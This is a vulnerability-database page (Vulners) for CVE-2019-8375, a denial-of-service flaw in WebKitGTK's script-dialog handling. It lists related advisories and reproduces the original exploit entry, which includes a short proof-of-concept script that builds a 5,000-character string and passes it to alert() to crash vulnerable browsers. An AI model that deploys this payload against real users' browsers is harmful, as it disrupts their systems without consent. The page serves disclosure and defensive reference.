Lucene search
+L

WebKitGTK 2.23.90 WebKitGTK+ 2.22.6 - Denial of Service

🗓️ 28 Feb 2019 00:00:00Reported by Dhiraj MishraType 
exploitpack
 exploitpack
👁 58 Views

WebKitGTK 2.23.90 - Denial of Service vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service Exploit
28 Feb 201900:00
–zdt
bdu_fstec
BDU FSTEC
WebKitGTK+ UIProcess Data Compromise
11 Jul 201900:00
–bdu_fstec
cnvd
CNVD
WebKitGTK UIProcess Subsystem Denial of Service Vulnerability
25 Feb 201900:00
–cnvd
checkpoint_advisories
Check Point Advisories
WebKitGTK Denial of Service (CVE-2019-8375)
25 Mar 201900:00
–checkpoint_advisories
cve
CVE
CVE-2019-8375
24 Feb 201913:00
–cve
cvelist
Cvelist
CVE-2019-8375
24 Feb 201913:00
–cvelist
debiancve
Debian CVE
CVE-2019-8375
24 Feb 201913:00
–debiancve
exploitdb
Exploit DB
WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service
28 Feb 201900:00
–exploitdb
mend
Mend
CVE-2019-8375
24 Feb 201913:00
–mend
nvd
NVD
CVE-2019-8375
24 Feb 201913:29
–nvd
Rows per page
#Exploit Title: Buffer overflow
# Date: 27-02-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html

## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).

## PoC:
<script>
   var a = '';
   for (var i = 1; i <= 5000; i++)
    {
       a += 'A';
    }
   alert(a);
</script>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2019 00:00Current
9.3Critical risk
Vulners AI Score9.3
EPSS0.15697
58